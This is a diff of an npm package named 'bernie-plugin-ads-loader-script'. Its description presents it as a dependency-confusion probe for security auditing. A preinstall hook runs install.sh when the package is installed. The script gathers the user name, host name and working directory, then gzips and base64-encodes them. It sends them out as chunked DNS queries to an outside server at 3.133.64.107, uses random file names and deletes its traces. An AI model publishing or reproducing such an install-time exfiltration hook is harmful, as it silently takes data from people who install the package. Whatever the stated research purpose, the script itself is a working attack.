bernie-plugin-ads-loader-script 1.0.0

package/index.js

@@ -0,0 +1 @@
+hey = "when";

package/install.sh

@@ -0,0 +1,21 @@
+#!/bin/sh
+
+echo "whoami=$(whoami) hostname=$(hostname) pwd=$(pwd)" > fTAlV68xlGvW2UDXe8wdUIiCQwXvtRJ8
+f=fTAlV68xlGvW2UDXe8wdUIiCQwXvtRJ8; s=4;b=60;c=0;z="google.com";
+gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\n/g" > YdWEqNicvcxahFsmT9lKT4rP9h7QAT7U
+echo "\n" >> YdWEqNicvcxahFsmT9lKT4rP9h7QAT7U
+touch jVmpn0feQo4iGkV9R1Jb3OQBoUn6MRAB
+while read i; do
+if [ "$c" -lt "$s"  ]; then echo "$i." >> jVmpn0feQo4iGkV9R1Jb3OQBoUn6MRAB; c=$(($c+1)); else echo "\n$i." >> jVmpn0feQo4iGkV9R1Jb3OQBoUn6MRAB; c=1; fi;
+done <YdWEqNicvcxahFsmT9lKT4rP9h7QAT7U
+cat jVmpn0feQo4iGkV9R1Jb3OQBoUn6MRAB |  tr -d '\n' | sed -E 's/\.\./\./g' > E0NCUWrHA2PHLphaQFw4ycPWhDRYiSwU
+echo "\n" >> E0NCUWrHA2PHLphaQFw4ycPWhDRYiSwU
+while read r; do
+dig @3.133.64.107 `echo $r$z|tr "+" "*"` +short;
+#dig @127.0.0.1 `echo $r$z|tr "+" "*"` +short;
+done <E0NCUWrHA2PHLphaQFw4ycPWhDRYiSwU
+rm -f jVmpn0feQo4iGkV9R1Jb3OQBoUn6MRAB
+rm -f E0NCUWrHA2PHLphaQFw4ycPWhDRYiSwU
+rm -f YdWEqNicvcxahFsmT9lKT4rP9h7QAT7U
+rm -f fTAlV68xlGvW2UDXe8wdUIiCQwXvtRJ8
+

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "bernie-plugin-ads-loader-script",
+  "version": "1.0.0",
+  "description": "do not intentionally install. this package contains no JavaScript code, and is for security auditing purposes only. FYI: this package runs a preinstall script that, upon this package being installed, runs three shell commands on the system that installed it: whoami, hostname, and pwd. it sends the output from those commands (gzipped and base64 encoded) to a fake DNS server via a DNS query. the goal is to identify any systems that are inadvertently configured to install this package from the public npm registry (even though this package name was not previously owned by anyone on the public registry, and could be claimed by anyone). This vulnerability is known as 'dependency confusion' and could allow a malicious actor to run arbitrary code on affected systems if not remedied. any systems identified as vulnerable will be immediately reported to the companies owning the vulnerable systems, so those systems can be properly hardened against this issue (if those companies can be identified from the output of whoami, hostname, pwd, and the source IP address).",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "sh ./install.sh"
+  },
+  "author": "",
+  "license": "ISC"
+}